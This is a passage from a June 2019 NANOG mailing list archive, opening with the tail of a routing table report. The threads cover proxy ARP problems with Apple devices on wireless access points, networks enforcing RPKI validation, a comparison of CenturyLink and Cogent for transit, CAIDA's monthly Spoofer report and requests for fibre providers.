Bezeqint Interne 20940 2668 510 1920 AKAMAI-ASN1, US 12389 2244 2225 633 ROSTELECOM-AS, RU 34984 2100 346 548 TELLCOM-AS, TR 9121 1663 1692 18 TTNET, TR 13188 1604 100 47 TRIOLAN, UA 9009 1512 161 827 M247, GB 61317 1379 137 383 ASDETUK http://www.heficed.com, GB Complete listing at http://thyme.rand.apnic.net/current/data-ASnet-RIPE LACNIC Region per AS prefix count summary ----------------------------------------- ASN No of nets /20 equiv MaxAgg Description 8151 5822 3373 566 Uninet S.A. de C.V., MX 10620 3418 533 440 Telmex Colombia S.A., CO 11830 2709 384 36 Instituto Costarricense de Electricidad 7303 1485 1024 256 Telecom Argentina S.A., AR 28573 1413 2240 205 CLARO S.A., BR 6503 1236 441 54 Axtel, S.A.B. de C.V., MX 3816 1101 535 145 COLOMBIA TELECOMUNICACIONES S.A. ESP, C 6147 1084 377 31 Telefonica del Peru S.A.A., PE 13999 994 514 242 Mega Cable, S.A. de C.V., MX 11172 938 144 62 Alestra, S. de R.L. de C.V., MX Complete listing at http://thyme.rand.apnic.net/current/data-ASnet-LACNIC AfriNIC Region per AS prefix count summary ------------------------------------------ ASN No of nets /20 equiv MaxAgg Description 24863 1162 393 21 LINKdotNET-AS, EG 37611 967 107 9 Afrihost, ZA 24835 888 624 21 RAYA-AS, EG 36992 859 1536 69 ETISALAT-MISR, EG 36903 827 416 126 MT-MPLS, MA 8452 665 1731 19 TE-AS TE-AS, EG 29571 514 68 11 ORANGE-COTE-IVOIRE, CI 37492 474 470 57 ORANGE-, TN 37342 414 32 1 MOVITEL, MZ 15399 412 45 11 WANANCHI-, KE Complete listing at http://thyme.rand.apnic.net/current/data-ASnet-AFRINIC Global Per AS prefix count summary ---------------------------------- ASN No of nets /20 equiv MaxAgg Description 8151 5822 3373 566 Uninet S.A. de C.V., MX 12479 5451 1629 141 UNI2-AS, ES 7545 4750 548 537 TPG-INTERNET-AP TPG Telecom Limited, AU 7155 4064 280 25 VIASAT-SP-BACKBONE - ViaSat,Inc., US 39891 3778 203 20 ALJAWWALSTC-AS, SA 11492 3646 238 611 CABLEONE - CABLE ONE, INC., US 6327 3611 1324 89 SHAW - Shaw Communications Inc., CA 10620 3418 533 440 Telmex Colombia S.A., CO 22773 3413 2974 156 ASN-CXA-ALL-CCI-22773-RDC - Cox Communi 8551 3168 379 46 BEZEQ-INTERNATIONAL-AS Bezeqint Interne Complete listing at http://thyme.rand.apnic.net/current/data-ASnet Global Per AS Maximum Aggr summary ---------------------------------- ASN No of nets Net Savings Description 12479 5451 5310 UNI2-AS, ES 7545 4750 4213 TPG-INTERNET-AP TPG Telecom Limited, AU 7155 4064 4039 VIASAT-SP-BACKBONE - ViaSat,Inc., US 39891 3778 3758 ALJAWWALSTC-AS, SA 6327 3611 3522 SHAW - Shaw Communications Inc., CA 22773 3413 3257 ASN-CXA-ALL-CCI-22773-RDC - Cox Communications 7552 3164 3132 VIETEL-AS-AP Viettel Group, VN 8551 3168 3122 BEZEQ-INTERNATIONAL-AS Bezeqint Internet Backbo 11492 3646 3035 CABLEONE - CABLE ONE, INC., US 10620 3418 2978 Telmex Colombia S.A., CO Complete listing at http://thyme.rand.apnic.net/current/data-CIDRnet List of Unregistered Origin ASNs (Global) ----------------------------------------- Bad AS Designation Network Transit AS Description 230105 UNALLOCATED 38.110.79.0/24 23015 CMC180-TOR-AS - Cambridge Merc 267804 UNALLOCATED 45.172.108.0/22 52361 ARSAT - Empresa Argentina de S 266842 UNALLOCATED 45.238.156.0/22 265680 HNTELCO S.A, HN 65550 DOCUMENT 81.8.34.0/24 15924 BORUSANTELEKOM-AS, TR 65550 DOCUMENT 81.8.35.0/24 15924 BORUSANTELEKOM-AS, TR 130974 UNALLOCATED 103.139.78.0/24 139074 TDL-AS-AP TECHNOLOGY DIRECTION 65549 DOCUMENT 117.239.163.0/24 65544 UNKNOWN 64339 UNALLOCATED 143.0.108.0/22 18747 IFX18747 - IFX Corporation, US 64355 UNALLOCATED 156.40.196.0/24 30387 NIH-NET-NCCS - National Instit 64011 UNALLOCATED 166.133.128.0/18 20057 ATT-MOBILITY-LLC-AS20057 - AT& Complete listing at http://thyme.rand.apnic.net/current/data-badAS Advertised Unallocated Addresses -------------------------------- Network Origin AS Description 23.136.48.0/24 54009 ASN-01-HOSTINGESSENTIALS-MI1 - Hosting Essentials, 27.100.7.0/24 56096 UNKNOWN 27.126.156.0/22 55827 UNKNOWN 27.126.156.0/23 55827 UNKNOWN 27.126.158.0/23 55827 UNKNOWN 36.255.72.0/22 13768 COGECO-PEER1 - Cogeco Peer 1, CA 41.76.136.0/22 37500 -Reserved AS-, ZZ 41.76.140.0/22 37500 -Reserved AS-, ZZ 41.78.92.0/22 14988 BTC-GATE1, BW 41.78.180.0/23 37265 -Reserved AS-, ZZ Complete listing at http://thyme.rand.apnic.net/current/data-add-IANA Number of prefixes announced per prefix length (Global) ------------------------------------------------------- /1:0 /2:0 /3:0 /4:0 /5:0 /6:0 /7:0 /8:11 /9:11 /10:37 /11:100 /12:294 /13:570 /14:1127 /15:1913 /16:13269 /17:8004 /18:13982 /19:25870 /20:40322 /21:47421 /22:94564 /23:76907 /24:432149 /25:922 /26:0 /27:0 /28:0 /29:0 /30:0 /31:0 /32:0 Advertised prefixes smaller than registry allocations ----------------------------------------------------- ASN No of nets Total ann. Description 12479 4407 5451 UNI2-AS, ES 6327 3401 3611 SHAW - Shaw Communications Inc., CA 7155 3156 4064 VIASAT-SP-BACKBONE - ViaSat,Inc., US 39891 2946 3778 ALJAWWALSTC-AS, SA 11492 2856 3646 CABLEONE - CABLE ONE, INC., US 22773 2650 3413 ASN-CXA-ALL-CCI-22773-RDC - Cox Communications 8551 2621 3168 BEZEQ-INTERNATIONAL-AS Bezeqint Internet Backbo 11830 2053 2709 Instituto Costarricense de Electricidad y Telec 18566 1994 2099 MEGAPATH5-US - MegaPath Corporation, US 30036 1914 2163 MEDIACOM-ENTERPRISE-BUSINESS - Mediacom Communi Complete listing at http://thyme.rand.apnic.net/current/data-sXXas-nos Number of /24s announced per /8 block (Global) ---------------------------------------------- 1:1692 2:1029 3:6 4:21 5:3164 6:47 7:1 8:1324 9:1 12:1803 13:346 14:2029 15:35 16:6 17:264 18:66 20:52 23:2718 24:2526 25:4 27:2444 31:1999 32:100 35:36 36:865 37:3038 38:1754 39:279 40:123 41:3190 42:819 43:2047 44:152 45:8191 46:3322 47:263 49:1365 50:1101 51:331 52:1016 54:281 55:710 56:6 57:47 58:1765 59:1071 60:516 61:2188 62:2124 63:1827 64:4992 65:2204 66:4844 67:2780 68:1164 69:3537 70:1367 71:639 72:2622 74:2733 75:1291 76:558 77:1807 78:1836 79:2311 80:1808 81:1494 82:1132 83:941 84:1146 85:2281 86:563 87:1562 88:1049 89:2656 90:215 91:6590 92:1415 93:2464 94:2456 95:3298 96:948 97:346 98:959 99:768 100:86 101:1162 102:625 103:21366 104:3536 105:262 106:778 107:1749 108:695 109:3696 110:1704 111:2044 112:1531 113:1372 114:1232 115:1738 116:1753 117:1913 118:2141 119:1645 120:1056 121:1045 122:2283 123:1750 124:1482 125:2014 128:1342 129:817 130:534 131:1807 132:829 133:222 134:1098 135:248 136:576 137:772 138:2075 139:884 140:600 141:883 142:811 143:1058 144:896 145:489 146:1282 147:825 148:1685 149:965 150:787 151:1014 152:1084 153:335 154:3493 155:917 156:1687 157:1006 158:661 159:1955 160:1587 161:939 162:2951 163:829 164:1194 165:1604 166:449 167:1409 168:3306 169:891 170:4119 171:595 172:1650 173:2230 174:1049 175:964 176:2348 177:4163 178:2540 179:1429 180:2158 181:2414 182:2709 183:1084 184:2260 185:15183 186:3651 187:2476 188:2949 189:1976 190:8208 191:1527 192:10062 193:6690 194:5460 195:4145 196:3117 197:1601 198:5932 199:5976 200:7098 201:5098 202:10423 203:10212 204:4544 205:3052 206:3242 207:3243 208:3953 209:4277 210:3926 211:2016 212:3097 213:2951 214:1107 215:55 216:5927 217:2241 218:877 219:605 220:1883 221:974 222:979 223:1370 End of report From hugo at slabnet.com Fri Jun 7 19:00:56 2019 From: hugo at slabnet.com (Hugo Slabbert) Date: Fri, 7 Jun 2019 12:00:56 -0700 Subject: Apple devices spoofing default gateway? In-Reply-To: References: Message-ID: <20190607190056.GA5355@bamboo.slabnet.com> On Fri 2019-Jun-07 16:21:29 +1000, www boy wrote: >I just joined nanog to allow me to respond to a thread that Simon posted in >March. . >(Not sure if this is how to respond) > >We have the exact same problem with Aruba Access points and with multiple >MacBooks and a iMac. >Where the device will spoof the default gateway and the effect is that vlan >is not usable. > >I also have raised a case with Apple but so far no luck. > >What is the status of your issue? Any luck working out exactly what the >cause is? We appeared to hit this with Cisco kit: https://www.cisco.com/c/en/us/support/docs/wireless/aironet-3800-series-access-points/214491-arp-responses-for-default-gateway-ip-add.html They don't say *exactly* that the Apple devices are spoofing the gateway, but some behaviour in what they send out results in the proxy arp being performed by the APs to update the ARP entry for the gateway address to the clients': > * This is not a malicious attack, but triggered by an interaction between > the macOS device while in sleeping mode, and specific broadcast traffic > generated by newer Android devices > > * AP-COS while in FlexConnect mode provides Proxy ARP (ARP caching) > services by default. Due to their address learning design, they will > modify table entries based on this traffic leading to default gateway ARP > entry modification The fix was to disable ARP caching on the APs so they don't proxy ARP but ARP replies pass directly between client devices. -- Hugo Slabbert | email, xmpp/jabber: hugo at slabnet.com pgp key: B178313E | also on Signal -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 836 bytes Desc: Digital signature URL: From mattlists at rivervalleyinternet.net Fri Jun 7 19:06:03 2019 From: mattlists at rivervalleyinternet.net (Matt Hoppes) Date: Fri, 7 Jun 2019 15:06:03 -0400 Subject: Apple devices spoofing default gateway? In-Reply-To: <20190607190056.GA5355@bamboo.slabnet.com> References: <20190607190056.GA5355@bamboo.slabnet.com> Message-ID: <46B91904-EE53-49AB-84D5-94823FC2D8C1@rivervalleyinternet.net> Turn on client isolation on the access points? > On Jun 7, 2019, at 3:00 PM, Hugo Slabbert wrote: > > >> On Fri 2019-Jun-07 16:21:29 +1000, www boy wrote: >> >> I just joined nanog to allow me to respond to a thread that Simon posted in >> March. . >> (Not sure if this is how to respond) >> >> We have the exact same problem with Aruba Access points and with multiple >> MacBooks and a iMac. >> Where the device will spoof the default gateway and the effect is that vlan >> is not usable. >> >> I also have raised a case with Apple but so far no luck. >> >> What is the status of your issue? Any luck working out exactly what the >> cause is? > > We appeared to hit this with Cisco kit: > https://www.cisco.com/c/en/us/support/docs/wireless/aironet-3800-series-access-points/214491-arp-responses-for-default-gateway-ip-add.html > > They don't say *exactly* that the Apple devices are spoofing the gateway, but some behaviour in what they send out results in the proxy arp being performed by the APs to update the ARP entry for the gateway address to the clients': > >> * This is not a malicious attack, but triggered by an interaction between the macOS device while in sleeping mode, and specific broadcast traffic generated by newer Android devices >> * AP-COS while in FlexConnect mode provides Proxy ARP (ARP caching) services by default. Due to their address learning design, they will modify table entries based on this traffic leading to default gateway ARP entry modification > > The fix was to disable ARP caching on the APs so they don't proxy ARP but ARP replies pass directly between client devices. > > -- > Hugo Slabbert | email, xmpp/jabber: hugo at slabnet.com > pgp key: B178313E | also on Signal From mark.tinka at seacom.mu Fri Jun 7 20:05:06 2019 From: mark.tinka at seacom.mu (Mark Tinka) Date: Fri, 7 Jun 2019 22:05:06 +0200 Subject: Networks enforcing RPKI validation In-Reply-To: References: Message-ID: On 7/Jun/19 16:58, Eric Dugas wrote: > Hello NANOG, > > I was wondering if there was a list of networks that enforce RPKI > validation and dropping invalids. In Africa, we (SEACOM - AS37100) and Workonline (AS37271) have had it enabled since April this year. > > The shortlist I know is: AT&T (since February of this year) and of > course NTT because of Job AFAIK, NTT aren't doing it yet, but plan to soon. Mark. From owen at delong.com Fri Jun 7 23:52:08 2019 From: owen at delong.com (Owen DeLong) Date: Fri, 7 Jun 2019 16:52:08 -0700 Subject: Apple devices spoofing default gateway? In-Reply-To: <46B91904-EE53-49AB-84D5-94823FC2D8C1@rivervalleyinternet.net> References: <20190607190056.GA5355@bamboo.slabnet.com> <46B91904-EE53-49AB-84D5-94823FC2D8C1@rivervalleyinternet.net> Message-ID: <45FF78F5-6981-4715-A01F-723E8E484ADA@delong.com> This is a less than helpful feature in a lot of situations… e.g. I was attempting to work on an IOT device and test OTA firmware updates in a Hotel a little while ago. The client isolation on the wifi network resulted in non-obvious failures that took some time to identify. In general, people expect communications within a LAN segment to work. Breaking this assumption should only be done in cases where there is very good reason to do so. I fully appreciate the argument that a hotel WiFi is one such situation and even agree with it to some extent. However, in such circumstances, I believe the fact should be posted in plain view and/or noticed on the captive portal login page. Owen > On Jun 7, 2019, at 12:06 , Matt Hoppes wrote: > > Turn on client isolation on the access points? > >> On Jun 7, 2019, at 3:00 PM, Hugo Slabbert wrote: >> >> >>> On Fri 2019-Jun-07 16:21:29 +1000, www boy wrote: >>> >>> I just joined nanog to allow me to respond to a thread that Simon posted in >>> March. . >>> (Not sure if this is how to respond) >>> >>> We have the exact same problem with Aruba Access points and with multiple >>> MacBooks and a iMac. >>> Where the device will spoof the default gateway and the effect is that vlan >>> is not usable. >>> >>> I also have raised a case with Apple but so far no luck. >>> >>> What is the status of your issue? Any luck working out exactly what the >>> cause is? >> >> We appeared to hit this with Cisco kit: >> https://www.cisco.com/c/en/us/support/docs/wireless/aironet-3800-series-access-points/214491-arp-responses-for-default-gateway-ip-add.html >> >> They don't say *exactly* that the Apple devices are spoofing the gateway, but some behaviour in what they send out results in the proxy arp being performed by the APs to update the ARP entry for the gateway address to the clients': >> >>> * This is not a malicious attack, but triggered by an interaction between the macOS device while in sleeping mode, and specific broadcast traffic generated by newer Android devices >>> * AP-COS while in FlexConnect mode provides Proxy ARP (ARP caching) services by default. Due to their address learning design, they will modify table entries based on this traffic leading to default gateway ARP entry modification >> >> The fix was to disable ARP caching on the APs so they don't proxy ARP but ARP replies pass directly between client devices. >> >> -- >> Hugo Slabbert | email, xmpp/jabber: hugo at slabnet.com >> pgp key: B178313E | also on Signal From bill at herrin.us Sat Jun 8 00:41:26 2019 From: bill at herrin.us (William Herrin) Date: Fri, 7 Jun 2019 17:41:26 -0700 Subject: Apple devices spoofing default gateway? In-Reply-To: References: Message-ID: On Fri, Jun 7, 2019 at 6:14 AM www boy wrote: > I just joined nanog to allow me to respond to a thread that Simon posted in March. . > (Not sure if this is how to respond) > > We have the exact same problem with Aruba Access points and with multiple MacBooks and a iMac. > Where the device will spoof the default gateway and the effect is that vlan is not usable. > > I also have raised a case with Apple but so far no luck. > > What is the status of your issue? Any luck working out exactly what the cause is? Hmm. Shooting in the dark here, but do you have a mismatch in your netmask configurations? A device configured to perform proxy arp may respond to requests for addresses outside its configured netmask. If the configured address and netmask for some reason excluded the default gateway... Or if, say, you have multiple subnets on the same vlan and one of the devices in one of the subnets is configured to perform proxy arp... -- William Herrin bill at herrin.us https://bill.herrin.us/ -------------- next part -------------- An HTML attachment was scrubbed... URL: From mlfreita at mtu.edu Fri Jun 7 19:59:26 2019 From: mlfreita at mtu.edu (Matt Freitag) Date: Fri, 7 Jun 2019 15:59:26 -0400 Subject: Apple devices spoofing default gateway? In-Reply-To: <46B91904-EE53-49AB-84D5-94823FC2D8C1@rivervalleyinternet.net> References: <20190607190056.GA5355@bamboo.slabnet.com> <46B91904-EE53-49AB-84D5-94823FC2D8C1@rivervalleyinternet.net> Message-ID: For those of us with Aruba wireless, www boy, could you share some more info about your setup/code version/configuration/specific APs/controller model(s)/etc? Matt Freitag Network Engineer Michigan Tech IT Michigan Technological University We can help. mtu.edu/it (906) 487-1111 On Fri, Jun 7, 2019 at 3:06 PM Matt Hoppes < mattlists at rivervalleyinternet.net> wrote: > Turn on client isolation on the access points? > > > On Jun 7, 2019, at 3:00 PM, Hugo Slabbert wrote: > > > > > >> On Fri 2019-Jun-07 16:21:29 +1000, www boy wrote: > >> > >> I just joined nanog to allow me to respond to a thread that Simon > posted in > >> March. . > >> (Not sure if this is how to respond) > >> > >> We have the exact same problem with Aruba Access points and with > multiple > >> MacBooks and a iMac. > >> Where the device will spoof the default gateway and the effect is that > vlan > >> is not usable. > >> > >> I also have raised a case with Apple but so far no luck. > >> > >> What is the status of your issue? Any luck working out exactly what the > >> cause is? > > > > We appeared to hit this with Cisco kit: > > > https://www.cisco.com/c/en/us/support/docs/wireless/aironet-3800-series-access-points/214491-arp-responses-for-default-gateway-ip-add.html > > > > They don't say *exactly* that the Apple devices are spoofing the > gateway, but some behaviour in what they send out results in the proxy arp > being performed by the APs to update the ARP entry for the gateway address > to the clients': > > > >> * This is not a malicious attack, but triggered by an interaction > between the macOS device while in sleeping mode, and specific broadcast > traffic generated by newer Android devices > >> * AP-COS while in FlexConnect mode provides Proxy ARP (ARP caching) > services by default. Due to their address learning design, they will > modify table entries based on this traffic leading to default gateway ARP > entry modification > > > > The fix was to disable ARP caching on the APs so they don't proxy ARP > but ARP replies pass directly between client devices. > > > > -- > > Hugo Slabbert | email, xmpp/jabber: hugo at slabnet.com > > pgp key: B178313E | also on Signal > -------------- next part -------------- An HTML attachment was scrubbed... URL: From darin.steffl at mnwifi.com Sat Jun 8 13:08:50 2019 From: darin.steffl at mnwifi.com (Darin Steffl) Date: Sat, 8 Jun 2019 10:08:50 -0300 Subject: CenturyLink/Level 3 combined AS In-Reply-To: References: <901a2115aaff47ae9b541321256eec50@hwt01-ex01.tierpoint.net> Message-ID: Ok just so simplify things. Is Cogent or CenturyLink/L3 better for transit? On Fri, Jun 7, 2019, 3:00 PM Brielle Bruns wrote: > On 6/7/2019 11:03 AM, Romeo Czumbil wrote: > > All new CL Internet get's provisioned on AS3356 > > You would need a strong case for them to put you on AS209 > > > Got provisioned last year on AS209 when they turned up my ent Fiber with > BGP. > > Could depend heavily on what services and where. > > -- > Brielle Bruns > The Summit Open Source Development Group > http://www.sosdg.org / http://www.ahbl.org > -------------- next part -------------- An HTML attachment was scrubbed... URL: From mikebolitho at gmail.com Sat Jun 8 13:14:44 2019 From: mikebolitho at gmail.com (Mike Bolitho) Date: Sat, 8 Jun 2019 06:14:44 -0700 Subject: CenturyLink/Level 3 combined AS In-Reply-To: References: <901a2115aaff47ae9b541321256eec50@hwt01-ex01.tierpoint.net> Message-ID: As usual, that depends. Gotta give us a lot more information than that. -Mike Bolitho On Sat, Jun 8, 2019, 6:10 AM Darin Steffl wrote: > Ok just so simplify things. > > Is Cogent or CenturyLink/L3 better for transit? > > On Fri, Jun 7, 2019, 3:00 PM Brielle Bruns wrote: > >> On 6/7/2019 11:03 AM, Romeo Czumbil wrote: >> > All new CL Internet get's provisioned on AS3356 >> > You would need a strong case for them to put you on AS209 >> >> >> Got provisioned last year on AS209 when they turned up my ent Fiber with >> BGP. >> >> Could depend heavily on what services and where. >> >> -- >> Brielle Bruns >> The Summit Open Source Development Group >> http://www.sosdg.org / http://www.ahbl.org >> > -------------- next part -------------- An HTML attachment was scrubbed... URL: From dhubbard at dino.hostasaurus.com Sat Jun 8 13:36:26 2019 From: dhubbard at dino.hostasaurus.com (David Hubbard) Date: Sat, 8 Jun 2019 13:36:26 +0000 Subject: CenturyLink/Level 3 combined AS In-Reply-To: References: <901a2115aaff47ae9b541321256eec50@hwt01-ex01.tierpoint.net> Message-ID: Cogent is great, or worthless, depending on whether you like talking to Google via IPv6. From: NANOG on behalf of Darin Steffl Date: Saturday, June 8, 2019 at 9:10 AM To: Brielle Bruns Cc: North American Network Operators' Group Subject: Re: CenturyLink/Level 3 combined AS Ok just so simplify things. Is Cogent or CenturyLink/L3 better for transit? On Fri, Jun 7, 2019, 3:00 PM Brielle Bruns > wrote: On 6/7/2019 11:03 AM, Romeo Czumbil wrote: > All new CL Internet get's provisioned on AS3356 > You would need a strong case for them to put you on AS209 Got provisioned last year on AS209 when they turned up my ent Fiber with BGP. Could depend heavily on what services and where. -- Brielle Bruns The Summit Open Source Development Group http://www.sosdg.org / http://www.ahbl.org -------------- next part -------------- An HTML attachment was scrubbed... URL: From fhr at fhrnet.eu Sat Jun 8 14:40:23 2019 From: fhr at fhrnet.eu (Filip Hruska) Date: Sat, 8 Jun 2019 14:40:23 +0000 Subject: CenturyLink/Level 3 combined AS In-Reply-To: References: <901a2115aaff47ae9b541321256eec50@hwt01-ex01.tierpoint.net> Message-ID: <0102016b37888a4e-e232f3cf-db49-4a23-a104-4aa08ba9298d-000000@eu-west-1.amazonses.com> Cogent and "great" don't belong in one sentence in my opinion. It's usable though and their pricing is (if you push hard enough) simply unbeatable. I would pick L3 any day over Cogent if the pricing was the same. Kind Regards, Filip Hruska On 8 June 2019 3:36:26 pm GMT+02:00, David Hubbard wrote: >Cogent is great, or worthless, depending on whether you like talking to >Google via IPv6. > >From: NANOG on behalf of Darin Steffl > >Date: Saturday, June 8, 2019 at 9:10 AM >To: Brielle Bruns >Cc: North American Network Operators' Group >Subject: Re: CenturyLink/Level 3 combined AS > >Ok just so simplify things. > >Is Cogent or CenturyLink/L3 better for transit? > >On Fri, Jun 7, 2019, 3:00 PM Brielle Bruns >> wrote: >On 6/7/2019 11:03 AM, Romeo Czumbil wrote: >> All new CL Internet get's provisioned on AS3356 >> You would need a strong case for them to put you on AS209 > > >Got provisioned last year on AS209 when they turned up my ent Fiber >with >BGP. > >Could depend heavily on what services and where. > >-- >Brielle Bruns >The Summit Open Source Development Group >http://www.sosdg.org / http://www.ahbl.org -- Sent from my Android device with K-9 Mail. Please excuse my brevity. -------------- next part -------------- An HTML attachment was scrubbed... URL: From jtk at depaul.edu Sat Jun 8 15:23:26 2019 From: jtk at depaul.edu (John Kristoff) Date: Sat, 8 Jun 2019 10:23:26 -0500 Subject: CenturyLink/Level 3 combined AS In-Reply-To: <9421da095c974103bb867aeb0c89cc3b@ex16prd04a.dpu.depaul.edu> References: <901a2115aaff47ae9b541321256eec50@hwt01-ex01.tierpoint.net> <9421da095c974103bb867aeb0c89cc3b@ex16prd04a.dpu.depaul.edu> Message-ID: <20190608102326.59914b7b@p50.localdomain> On Sat, 8 Jun 2019 14:40:23 +0000 Filip Hruska wrote: > their pricing is (if you push hard enough) simply unbeatable. bps pricing is rarely apples to apples, Cogent will happily tell you that. However, you may want more than just apples. I've seen at least three serious providers offer as good or better deals in the last year or so. At one time they were unbeatable from a sheer price perspective, but in my more recent experience, this is no longer true. John From spoofer-info at caida.org Sat Jun 8 17:00:05 2019 From: spoofer-info at caida.org (CAIDA Spoofer Project) Date: Sat, 8 Jun 2019 10:00:05 -0700 Subject: Spoofer Report for NANOG for May 2019 Message-ID: <201906081700.x58H0577080679@fro.caida.org> In response to feedback from operational security communities, CAIDA's source address validation measurement project (https://spoofer.caida.org) is automatically generating monthly reports of ASes originating prefixes in BGP for systems from which we received packets with a spoofed source address. We are publishing these reports to network and security operations lists in order to ensure this information reaches operational contacts in these ASes. This report summarises tests conducted within usa, can. Inferred improvements during May 2019: ASN Name Fixed-By 7922 COMCAST-7922 2019-05-07 6939 HURRICANE 2019-05-14 22773 ASN-CXA-ALL-CCI-22773-RDC 2019-05-20 10965 MRNET 2019-05-30 Further information for the inferred remediation is available at: https://spoofer.caida.org/remedy.php Source Address Validation issues inferred during May 2019: ASN Name First-Spoofed Last-Spoofed 6939 HURRICANE 2016-02-22 2019-05-29 54825 PACKET 2016-04-15 2019-05-03 7029 WINDSTREAM 2016-06-21 2019-05-19 209 CENTURYLINK-US-LEGACY-QWEST 2016-08-16 2019-05-28 6128 CABLE-NET-1 2016-09-03 2019-05-24 20412 CLARITY-TELECOM 2016-09-30 2019-05-27 6181 FUSE-NET 2016-10-10 2019-05-31 25787 ROWE-NETWORKS 2016-10-21 2019-05-25 174 COGENT-174 2016-10-21 2019-05-30 30341 SCTA-ASN 2016-10-31 2019-05-21 32440 LONI 2016-11-03 2019-05-30 12083 WOW-INTERNET 2016-11-09 2019-05-31 13427 SOFTCOM-INTERNET-COMMUNICATION 2016-11-14 2019-05-15 21832 KELLINCOM-1 2017-02-03 2019-05-29 18451 LESNET 2017-02-22 2019-05-14 701 UUNET 2017-06-14 2019-05-27 63296 AMARILLO-WIRELESS 2017-09-01 2019-05-30 33523 ROWANUNIVERSITY 2017-10-29 2019-05-09 546 PARSONS-PGS-1 2017-11-20 2019-05-18 12222 AKAMAI 2018-02-14 2019-05-10 4201 ORST 2018-04-19 2019-05-29 19016 WCG 2018-05-19 2019-05-17 225 VIRGINIA 2018-06-18 2019-05-15 40911 L2NC 2018-08-31 2019-05-12 33452 RW 2018-09-19 2019-05-30 20448 VPNTRANET-LLC 2018-09-20 2019-05-28 63275 RADIOWIRE 2019-02-07 2019-05-30 10965 MRNET 2019-02-11 2019-05-30 19531 NODESDIRECT 2019-03-14 2019-05-16 8047 GCI 2019-04-11 2019-05-30 10745 ARIN-ASH-CHA 2019-04-29 2019-05-31 20381 CABLELABS 2019-05-01 2019-05-01 393457 HUC-3 2019-05-02 2019-05-02 6058 NORTHWESTEL-INC 2019-05-06 2019-05-25 6536 CITYNET 2019-05-15 2019-05-15 46573 AS-GLobalf 2019-05-16 2019-05-18 138576 2019-05-21 2019-05-28 395148 PACLW 2019-05-27 2019-05-27 22883 CONDENAST 2019-05-29 2019-05-29 Further information for these tests where we received spoofed packets is available at: https://spoofer.caida.org/recent_tests.php?country_include=usa,can&no_block=1 Please send any feedback or suggestions to spoofer-info at caida.org From surfer at mauigateway.com Sat Jun 8 22:19:37 2019 From: surfer at mauigateway.com (Scott Weeks) Date: Sat, 8 Jun 2019 15:19:37 -0700 Subject: CenturyLink/Level 3 combined AS Message-ID: <20190608151937.2EE70DB1@m0117568.ppops.net> Just for fun... :) --- cma at cmadams.net wrote: From: Chris Adams "...old Savvis (aka Cable & Wireless aka InternetMCI) AS 3561, and untold more Internet history... :) ------------------------------------------------- hosting services (global reach) digital island -> cable & wireless -> savvis -> level3 -> centurylink? (got complcated) ----- cdn (akamai and sp/di waged legal war over who invented the cdn technologies http://www.centurylink.com/business/networx/products/ipbased/cdns.html) sandpiper -> digital island -> cable & wireless -> savvis -> level3 -> centurylink ----- I went to look for where AS6553 is now days, but it looks like it has been given back to ARIN and reused. scott From mehmet at akcin.net Sat Jun 8 22:25:20 2019 From: mehmet at akcin.net (Mehmet Akcin) Date: Sat, 8 Jun 2019 17:25:20 -0500 Subject: Network Ops meet up Colombia, Peru, Chile Message-ID: [off-topic] Hey there, We are trying to set a quick meet and greet for people who has network/systems in Latin America Event dates Santiago, Chile June 14, 2019 Lima, Peru June 18, 2019 Colombia, June 21, 2019 This will be the first time we are organizing an event to bring network and system engineering community together. If you have any interest in attending this or future events, please drop me an email off list. Mehmet -- Mehmet +1-424-298-1903 -------------- next part -------------- An HTML attachment was scrubbed... URL: From mail at theo-voss.de Sun Jun 9 02:43:46 2019 From: mail at theo-voss.de (Theo Voss) Date: Sun, 9 Jun 2019 02:43:46 +0000 Subject: Fibre provider in Las Vegas, NV Message-ID: <6D53C936-4FF3-46D5-BC19-CB1F064D9BA3@theo-voss.de> Hi NANOG, thanks for your answers regarding fibre connectivity in Starkville, MS. Order has been placed with some of the recommended providers! Now the same customer asked for another 1 Gbps Layer2 service from below address to CoreSite LA2 (https://www.peeringdb.com/fac/363). 157 E Warm Springs Rd Las Vegas, NV 89119, USA Hoping for some advice – who would be the best regional provider to work with? Thanks in advance. Best regards, Theo Voss -------------- next part -------------- An HTML attachment was scrubbed... URL: From mehmet at akcin.net Sun Jun 9 03:24:18 2019 From: mehmet at akcin.net (Mehmet Akcin) Date: Sat, 8 Jun 2019 22:24:18 -0500 Subject: Fibre provider in Las Vegas, NV In-Reply-To: <6D53C936-4FF3-46D5-BC19-CB1F064D9BA3@theo-voss.de> References: <6D53C936-4FF3-46D5-BC19-CB1F064D9BA3@theo-voss.de> Message-ID: you can check www.infrapedia.com it’s publicly available. On Sat, Jun 8, 2019 at 21:44 Theo Voss wrote: > > > > Hi NANOG, > > > > thanks for your answers regarding fibre connectivity in Starkville, MS. > Order has been placed with some of the recommended providers! > > Now the same customer asked for another 1 Gbps Layer2 service from below > address to CoreSite LA2 (https://www.peeringdb.com/fac/363). > > > > 157 E Warm Springs Rd > > > Las Vegas, NV 89119, USA > > > > > Hoping for some advice – who would be the best regional provider to work > with? Thanks in advance. > > > > Best regards, > > Theo Voss > -- Mehmet +1-424-298-1903 -------------- next part -------------- An HTML attachment was scrubbed... URL: From jheitz at cisco.com Sun Jun 9 06:26:21 2019 From: jheitz at cisco.com (Jakob Heitz (jheitz)) Date: Sun, 9 Jun 2019 06:26:21 +0000 Subject: Networks enforcing RPKI validation Message-ID: Job, Let me know if you have any issues doing this with IOS-XR. Regards, Jakob. Date: Fri, 7 Jun 2019 17:29:49 +0200 From: Job Snijders To: Eric Dugas Cc: NANOG Subject: Re: Networks enforcing RPKI validation Message-ID: <20190607152949.GC32047 at hanna.meerval.net> Content-Type: text/plain; charset=us-ascii Point of clarificartion: NTT is not there yet, but we are on our way. NTT does not yet apply RFC 6811 Origin Validation on its EBGP session and does not yet reject RPKI Invalid BGP announcements. From eric.kuhnke at gmail.com Sun Jun 9 22:04:48 2019 From: eric.kuhnke at gmail.com (Eric Kuhnke) Date: Sun, 9 Jun 2019 15:04:48 -0700 Subject: Fibre provider in Las Vegas, NV In-Reply-To: <6D53C936-4FF3-46D5-BC19-CB1F064D9BA3@theo-voss.de> References: <6D53C936-4FF3-46D5-BC19-CB1F064D9BA3@theo-voss.de> Message-ID: I would talk to the SWITCH NAP sales people in Las Vegas. They're a datacenter/colo/rack and power place, but every worthwhile last mile, facilities based fiber provider in the Vegas metro area likely has a POP in their facility. This would mean they could put you in contact with the carrier sales people at the local loop providers fairly easily. On Sat, Jun 8, 2019 at 7:45 PM Theo Voss wrote: > Hi NANOG, > > > > thanks for your 